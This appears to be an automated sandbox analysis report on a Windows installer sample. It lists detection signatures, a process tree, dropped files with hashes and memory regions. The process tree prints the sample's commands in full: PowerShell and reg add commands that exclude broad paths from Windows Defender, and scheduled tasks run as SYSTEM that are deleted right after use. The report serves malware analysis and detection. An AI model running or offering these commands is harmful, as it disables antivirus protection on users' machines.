Analysis

  • max time kernel
    150s
  • max time network
    119s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 11:27

General

  • Target
    install.2.0.04.exe
  • Size 30.5MB
  • Sample261024-nkl9gstybt
  • SHA256 fd8e57418914be4e131812754f5aca76ca880ecbda5b9921fbcbe4ce56f48ef8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4216
  • C:\Users\Public\qR6NzV\iezToE.exe
    "C:\Users\Public\qR6NzV\iezToE.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:6084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qR6NzV\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qR6NzV\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1700
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3944
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4388
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2972
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2440
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4728
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4284
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1600
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:972
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4160
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3500
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1544
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3372
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4928
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5288
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4552
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4344
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3748
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2176
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qR6NzV" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:616
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qR6NzV" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3816
                      • C:\Users\Public\qR6NzV\iezToE.exe
                        "C:\Users\Public\qR6NzV\iezToE.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:792
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3024
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5484
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3820
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2208
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3396
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2632
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5384

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 ff3802431eea0a36a0dd2c1ff8f72efc5b0e18afb5c4a73df3196cf2e7f0497b
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 a63b47dec175a827b588c54002ff7740cdaa5b114c5d8b82dfcd01d1af92074a
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 84dc54971fa0db8ad93deacb09eb589ecbf2758616078f606abe2576ee3a216a
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 0935a37a3e69b3a486ab7bc05b9e7af99ffc353b286d78b237d3f85159878842
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_lqjn1n5r.gaj.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqjn1n5r.gaj.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\qR6NzV\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c9314b0ebbdeae864d72bec3e6ec2b0f8f762ea70d0c4b3761fd5ba2e70f8493
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\qR6NzV\adoresd.dat
                              • Size 4.8MB
                              • SHA256 7911eb3ff2a8706baad7a91674ff59816c9c2db7ac33c3833ef4a56155cb645e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              iezToE.exe

                              • Path C:\Users\Public\qR6NzV\iezToE.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\qR6NzV\msadox.tb
                              • Size 8KB
                              • SHA256 171ab91537d91045cee40407206024efd6d3e875e25828be6c97712ebfb0fd38
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/792-577-0x00007FFB02430000-0x00007FFB0294E000-memory.dmp

                              memory/792-582-0x00007FFB250C0000-0x00007FFB250C2000-memory.dmp

                              memory/792-580-0x00000283E19F0000-0x00000283E22C7000-memory.dmp

                              memory/792-583-0x00000283E19F0000-0x00000283E22C7000-memory.dmp

                              memory/792-589-0x00000283E19F0000-0x00000283E22C7000-memory.dmp

                              memory/792-590-0x00000283E19F0000-0x00000283E22C7000-memory.dmp

                              memory/792-591-0x00007FFB250B0000-0x00007FFB250B2000-memory.dmp

                              memory/792-587-0x00000283E19F0000-0x00000283E22C7000-memory.dmp

                              memory/792-588-0x00000283E19F0000-0x00000283E22C7000-memory.dmp

                              memory/4216-1-0x0000000002720000-0x000000000272E000-memory.dmp

                              memory/4216-525-0x00007FFB14F60000-0x00007FFB14F72000-memory.dmp

                              memory/4216-0-0x0000000002720000-0x000000000272E000-memory.dmp

                              memory/4216-2-0x0000000002730000-0x000000000273C000-memory.dmp

                              memory/4216-504-0x00007FFB14F60000-0x00007FFB14F72000-memory.dmp

                              memory/4216-524-0x0000000002720000-0x000000000272E000-memory.dmp

                              memory/4656-602-0x000001ED77BE0000-0x000001ED77C02000-memory.dmp

                              memory/4656-605-0x000001ED77C40000-0x000001ED77C5E000-memory.dmp

                              memory/4656-606-0x000001ED77C60000-0x000001ED77D12000-memory.dmp

                              memory/4656-607-0x000001ED783A0000-0x000001ED783AA000-memory.dmp

                              memory/6084-550-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-556-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-566-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-564-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-562-0x000001E675F20000-0x000001E675FAA000-memory.dmp

                              memory/6084-558-0x000001E675AC0000-0x000001E675B0E000-memory.dmp

                              memory/6084-559-0x000001E675F20000-0x000001E675FAA000-memory.dmp

                              memory/6084-561-0x000001E675F20000-0x000001E675FAA000-memory.dmp

                              memory/6084-560-0x000001E675F20000-0x000001E675FAA000-memory.dmp

                              memory/6084-567-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-531-0x00007FFB02430000-0x00007FFB0294E000-memory.dmp

                              memory/6084-545-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-546-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-544-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-543-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-539-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-538-0x00007FFB250C0000-0x00007FFB250C2000-memory.dmp

                              memory/6084-536-0x000001E675100000-0x000001E6759D7000-memory.dmp

                              memory/6084-530-0x00007FFB250B0000-0x00007FFB250B2000-memory.dmp